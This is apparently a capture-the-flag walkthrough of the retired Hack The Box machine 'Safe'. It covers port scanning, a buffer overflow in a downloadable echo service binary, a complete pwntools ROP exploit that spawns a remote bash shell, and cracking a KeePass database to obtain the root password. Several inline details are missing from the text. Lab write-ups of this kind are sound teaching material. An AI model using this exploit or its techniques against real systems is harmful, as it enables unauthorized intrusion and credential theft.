On this post
- Information Gathering
- Low-Privilege Shell
- Privilege Escalation
Safe is a retired vulnerable VM from Hack The Box.
Let’s start with a
masscan probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.147 --rate=1000 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-07-28 11:21:20 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.147 Discovered open port 1337/tcp on 10.10.10.147 Discovered open port 22/tcp on 10.10.10.147
masscan finds three open ports.
1337/tcp sure looks interesting. Let’s do one better with
nmap scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p22,80,1337 -A --reason -oN nmap.txt 10.10.10.147 ... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA) | 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA) |_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519) 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Apache2 Debian Default Page: It works 1337/tcp open waste? syn-ack ttl 63 | fingerprint-strings: | DNSStatusRequestTCP: | 05:26:35 up 1:47, 1 user, load average: 0.13, 0.04, 0.01 | DNSVersionBindReqTCP: | 05:26:30 up 1:47, 1 user, load average: 0.14, 0.04, 0.01 | GenericLines: | 05:26:17 up 1:47, 1 user, load average: 0.07, 0.03, 0.01 | What do you want me to echo back? | GetRequest: | 05:26:23 up 1:47, 1 user, load average: 0.07, 0.03, 0.01 | What do you want me to echo back? GET / HTTP/1.0 | HTTPOptions: | 05:26:24 up 1:47, 1 user, load average: 0.06, 0.03, 0.01 | What do you want me to echo back? OPTIONS / HTTP/1.0 | Help: | 05:26:41 up 1:47, 1 user, load average: 0.12, 0.04, 0.01 | What do you want me to echo back? HELP | Kerberos, TLSSessionReq: | 05:26:42 up 1:47, 1 user, load average: 0.12, 0.04, 0.01 | What do you want me to echo back? | NULL: | 05:26:17 up 1:47, 1 user, load average: 0.07, 0.03, 0.01 | RPCCheck: | 05:26:25 up 1:47, 1 user, load average: 0.06, 0.03, 0.01 | RTSPRequest: | 05:26:24 up 1:47, 1 user, load average: 0.06, 0.03, 0.01 | What do you want me to echo back? OPTIONS / RTSP/1.0 | SSLSessionReq: | 05:26:41 up 1:47, 1 user, load average: 0.12, 0.04, 0.01 |_ What do you want me to echo back?
1337/tcp sure looks like some kind of
echo service. Well, I’m going to check out the
http service first. And, this is how it looks like.
Nothing really exciting with the default Apache page or is that so? Check out the HTML source.
I smell remote code execution (RCE) in
Vulnerability Anlysis of
myapp is indeed at
# wget http://10.10.10.147/myapp # file myapp myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped
Looks like someone has submitted the file to VirusTotal for a quick look.
On top of that, someone has also submitted to
ropshell.com for ROP gadgets.
checksec in PEDA shows that NX is enabled (non-executable stack).
If I have to guess, I would say this is a simple ROP exploit. Don’t take my word for it. Look at the
main() function of
Long story short, the offset to control the return address is 120 bytes. Here’s how to do it.
- Get PEDA if you have not already done so.
- Generate a 200-byte pattern.
gdb-peda# pattern_create 200 buf.
set follow-fork-mode parentbecause of
- Break at
*main+77. This is the last instruction before RIP pops the return address.
runwith the pattern or
r < buf.
cwith the execution.
You should see something like this.
pattern_offset to determine the offset.
Armed with that knowledge, you can write a ROP exploit with
pwntools like so.
from pwn import * context(terminal=["tmux", "new-windows"]) context(os="linux", arch="amd64") myapp = ELF("./myapp") p = remote("10.10.10.147", 1337) bss = myapp.bss() junk = 'A' * 120 # Show me the shell rop = ROP(myapp) rop.gets(bss) rop.system(bss) payload = junk + str(rop) + "/bin/bash\n" + "bash\n" p.send(payload) p.interactive()
I’ve chosen to write the string “/bin/bash” at
.bss because its address doesn’t change.
Let’s give it a go.
user.txt is at
user’s home directory.
During enumeration of
user’s account, I noticed the presence of a KeePass database and five image files in the home directory as well.
This feels strangely familiar to BigHead. Well, in any case, let’s grab these files to my attacking machine but note that there’s no
nc in this machine. We’ll just have to transfer our
We can transfer the files now. And just like BigHead, one of the image files is the key file. We just need to crack the master password.
The master password is
Armed with the master password and the key file, we can open the KeePass database.
Simply copy the
root password to the clipboard and we are done.
root password is